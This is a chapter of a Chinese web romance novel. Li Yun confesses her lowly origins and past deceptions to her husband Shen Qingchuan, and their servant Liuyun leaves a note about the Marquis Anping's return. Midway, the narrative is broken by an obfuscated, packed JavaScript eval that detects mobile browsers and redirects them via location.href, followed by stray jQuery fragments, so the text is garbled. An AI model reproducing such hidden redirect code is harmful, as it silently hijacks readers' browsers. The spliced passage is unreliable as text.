33. 第 33 章

作品:《病公子攻略手册

    天刚摸黑,李蕴便催沈青川练剑。


    沈青川扭扭捏捏,拖了半天说他这儿没剑。


    要没剑他早说了,分明就是不想舞给她看。


    毫无商量余地,李蕴道:“你明天寻剑来。”


    “剑……要趁手才舞得好,重了会压坏手腕。”


    “那夫君要如何?明明才答应我今晚便舞剑给我看,事到临头又反悔。以后夫君的话,我可不敢再信!”李蕴扭头,很是生气。


    “一个月。我请铁匠打柄趁手的剑出来,一个月后的今天舞给你看。”左膝落地,沈青川自然地握住李蕴的手哄道。


    说来奇怪,以前沈青川怎么牵她手她都不觉得有什么,除非大庭广众之下,除非他还有别的逾越之举。但自从袒露心意后,她不仅牵个手会脸红,有时单对视也会觉得羞,实在丢脸!


    可能因为,以前完全没往那方向想?


    “那……好吧,就原谅你这一次。”李蕴面颊发热,张开手,“抱我回去。”


    暑气渐重,阵阵蝉鸣如具象化的热浪。


    李蕴觉得蝉这种生物很神奇,只闻其声而不见其所在。


    “在看什么?”


    “蝉。”


    “都在竹林里,在这哪能看得到。”


    “一眼能看到就不看了。”


    “那夫人得到我了,还会爱我吗?”


    嗯?李蕴茫然地转回视线。沈青川正安静地注视她,明明没有什么表情,李蕴却感受到别样的情绪。


    他怎么会想这些?怎么会从蝉绕到自己身上?


    天空中孤零零地悬着一轮月,长长的眼睫如鸦羽被雨水浸湿,李蕴慌了神,捧着沈青川的脸认真说:“当然,你和蝉不一样。”


    沈青川更失落,一吸鼻子又滑落一滴泪:“只是和蝉比吗?”


    她还没说完呢。李蕴又好气又好笑,顾及沈青川脆弱的情绪压下上扬的嘴角,她继续道:“你和别人也不一样。


    对我来说,你像天上的月亮。”


    她抬头,想让沈青川跟她一起仰望月亮。


    沈青川却低下头,对准她发顶轻撞。说是撞,其实蹭更合适。额头在靠近时放慢速度,实实地落在发顶,一动不动。李蕴莫名有种脸颊贴脸颊的感觉。


    她不敢动了。


    “不要看别处,只看我。”


    语调下垂,沈青川在不开心。


    李蕴缩在他怀中小幅度点头,沈青川似乎没有察觉到。


    她补充:“不看别的,只看你。”


    沈青川这才闷闷地抬起头。


    院内石灯烛火微弱,沈青川的脸隐于暗色之中,反倒遮住了眼底青黑与苍白的面色。浅色的唇轻抿,沈青川目光如水。李蕴第一次知道,原来一个人的呼吸声可以让心如此静。


    她终于想起来要说的话。


    “初见时冰冷,明明看得见却仿佛隔了好远的距离。有时温润如玉,像翩翩君子,有时又现出棱角,让人捉摸不透。怎么会有人这么难懂呢……”李蕴边叹气边摇头,“刚开始我每天夜里都在思考,怎么样才让夫君对我笑一笑呢,不是假笑,不是嘲笑,而是真心展露的笑。”


    “当然,那会儿也不是很真心的。”李蕴说到这有些心虚。


    进屋关上门,沈青川坐在床边,握着她的手听。


    要不要继续说下去。


    这是她对他的最后一个秘密。说出口,她便对他毫无保留。说出口,等待她的也许是拥抱,也许是松手。


    她不再是侯府的千金大小姐,而是一个低贱的婢女,高攀上相府的高枝,带着不纯粹的目的。他会不会觉得自己被欺骗?如果她是沈青川,她一定会甩开对方的手,至少那个瞬间,希望对方从自己眼前彻底消失。


    要不要说出口。


    沈青川的手因为她染上温暖。


    李蕴想,至少,她不会再对自己的心愧疚。


    她可以去爱,去勇敢,只要不依赖,不执着于似是而非的话语,多少痛苦都会过去,怎样的结果她都能接受。


    既然选择了相信,就不要怀疑。


    “我娘是王夫人的陪嫁丫鬟,她生下我,害死了王夫人未出世的孩子……”


    李蕴絮絮叨叨地说完。略去被关在柴房的日子,略去在膳房被打骂的日子,她才发现,原来遇到沈青川之前的日子是那么空白,那么不值一提。


    “萧烨带走我,就是想让我把假的布防图交给李崇。我觉得这场合作没什么不好的,除了交易对象是萧烨。”


    她知道,没有那些痛苦,她走不到今日。


    也许周方仪问罪时她便认了,也许快窒息时她就想这辈子就这样算了。若非挨过无数次骂,呼吸过无数次濒死的空气,她绝对不会这般眷恋这处偏僻的小院,她绝对回不来南清院。


    可那些痛苦,也在每一个瞬间将她逼向悬崖。回头看有细碎山石滚落,落脚的泥石被剥削,她踮起脚尖,虽活下来,但颤颤巍巍。


    “我好害怕,我怕我回不来,怕我再也见不到你。我明明一直都清楚你的心,却忍不住去猜忌,去怀疑,因为我满嘴谎话,所以我希望你也是。


    我没有你想得那么好。我以为你死了那一刻,我甚至想好怎么伪造现场,怎么撇清关系……”


    脸上的泪水被沈青川用衣袖拭去。但李蕴的眼泪怎么也止不住,才擦干的脸很快又满是水痕。沈青川的袖子已经湿掉,擦过脸的感觉很奇怪,像用她的泪水给她洗脸。


    她推开沈青川,不要他擦。


    沈青川撸起外袍,用里边干的袖子给她擦。


    “你就不能拿块巾帕来嘛……”


    李蕴正难过,沈青川笨手笨脚,气得她想笑,笑了又显得她的眼泪虚假不真诚。她更气,一巴掌拍在沈青川的胳膊上。


    “我怕我站起来你会多想。”沈青川解释。


    “你不会提前说一声吗?”李蕴气。


    “我不好插嘴。”沈青川委屈。


    “笨!”


    李蕴气鼓鼓的,甚至忘了难过。


    她接过沈青川递来的叠得齐整的巾帕,擦干净眼泪长呼一口气。


    垂眼递回巾帕,她被沈青川揽入怀中。


    淡淡草药香令人安心。她不动作,安静抵着他的肩。和他一起,就算什么都不做,只是待在一起也很好。


    “你说你没我想得那么好,可那天,你哭得和现在一样伤心。你心里有我,一次次否认是因为太珍视,所以容不下一丝瑕疵。但那些对我来说根本不是碍眼的瑕疵,而是你努力靠近我的证明。


    “你告诉我这些,我很开心。想活下去不是错,错的是那些逼你作恶才能活下去的人。以后有我,蕴儿不用怕。”


    沈青川又像哄孩子一样轻轻拍李蕴的背。


    同睡一处,她枕着他臂弯时,他也总这样哄她。


    李蕴点点头,又不愿撇下傲气,她别扭地说:“我自己也可以。”


    “嗯,蕴儿厉害。”简短几个字,但没有敷衍的意味。


    “不过我不行。”沈青川低下头蹭她的长颈,“没有蕴儿,我一个人不行。”


    她听见自己因哭过而加重的呼吸,她听见沈青川平稳的呼吸,他们呼吸同一阵风,怀揣同样的心情,曾小心翼翼聆听彼此的脚步。


    还好,推开窗的瞬间,他们看见了彼此。


    晨光熹微,李蕴睁开眼。


    沈青川的胳膊不知何时垫到了她脖子下边。明明说过这样手会麻很久让他不要做,他又不听。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103121|195762||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>李蕴悄咪咪地抬起一点头,沈青川似有所觉,闭眼嘟囔了几句把她按下。


    “夫君,我睡不着了。”


    “我困。”


    沈青川力气太大,掰下他的手臂躺回枕头后,李蕴已经筋疲力竭。


    天渐渐亮起来,青色软烟罗让他们的清晨来得比时间慢些。沈青川睡得很死,看来昨日真的让他操心不少。


    真好。


    一缕黑发留在他身前,李蕴轻轻握住尾梢,像握着他的手一样温柔。


    她再也不用去猜他的心思。


    没有言外之意,没有弯弯绕绕,他话语的意味就是最本身的意味。


    钟声响起,吹散晨雾,李蕴撩起一侧软烟罗,温和的晨光推沈青川往她身边躲。


    “沈青川,该用早膳了。”


    “不饿。”


    他分明没在睡。实实闭着眼和虚浮眼皮之间的差别,她还是分得出来的。


    罢了,就纵容他一回,反正她也还不饿。


    不过好好奇,周氏离开后的早膳如何,会不会丰盛许多?


    虽然原本的火腿肉松雪菜粥已经很好了,但她越来越不知足,就像对沈青川与她的距离,再近一些,再近一些,让幸福离她再近一些吧。


    “怎么了?”沈青川睁开惺忪的睡眼,无奈将怀里乱拱的李蕴捞出被窝。他已经被拱到床边上,再不采取点措施就要掉下去了。


    李蕴笑盈盈地摇头。她发丝凌乱,双眉如黛,乌黑的眼被笑意浸满,神采动人。


    “起,这就起。”沈青川没办法地支起身,无奈又快活地叹口气。


    他披上李蕴选定的外袍,简单用青绿布条束好发,推开卧房门。


    食盒孤零零地留在石桌,旁边是这个月的新书。


    流云也不帮他把书送到书房里去,看来还在生气。


    沈青川拎起食盒,食盒底下压着纸条。


    “安平侯三日归。”


    安平侯,也就是沈奕川。沈惜清死后,他越过沈青川袭爵,成为相府名正言顺的主人。


    流云一直不满此事。他才是嫡长子,沈奕川一个过继过去的庶子凭什么抢走他的爵位。若他袭爵,哪还怕周氏给他下药,哪还用窝在这个南清院无出头之日。


    沈青川摆摆手,要他喝点菊花茶降降火。


    正是因为无人在意,才能窝藏他这个江洋大盗数年,正是因为无人在意,别院的腥风血雨才刮不到他这儿来。


    流云冷笑一声,戴上面具踏檐而去。


    沈奕川回来就回来,与他有什么干系。


    沈青川收起纸条,携食盒入屋。


    食盒里只有两碗馄饨,和一碟醋。


    馄饨腾腾地冒热气,看来流云那小子没走多久,说不定就是盯准了送下来的。


    他要和蕴儿过一辈子,但也不想失去流云这个唯一的朋友。明日需蹲守着,怎么也得把这件事说清。若流云执迷不悟,他只能与他分道扬镳。


    “馄饨!”李蕴靠着枕头,手掌合十迫不及待。


    “喜欢?”沈青川笑。


    “小时候娘常包馄饨给王夫人吃,我也能蹭上一碗。”


    那时候娘还没疯,还没犯下错,一切还那么美好。


    李蕴笑笑,点几滴醋进去。醋化开,清亮的汤带上醋的香,李蕴吹凉喝一口,招呼沈青川也吃。


    “你娘……母亲现在在何处?”沈青川斟酌着问。


    蕴儿昨日告诉他,李崇用她母亲的命为要挟,萧烨故技重施与她“合作”。


    他想问她母亲身处何地情况如何,他们能做到的他一样可以。


    但他看蕴儿累了,便先搁下不提,想明日再问。谁料李蕴却放下勺,认真问道:“二少爷什么时候回来?”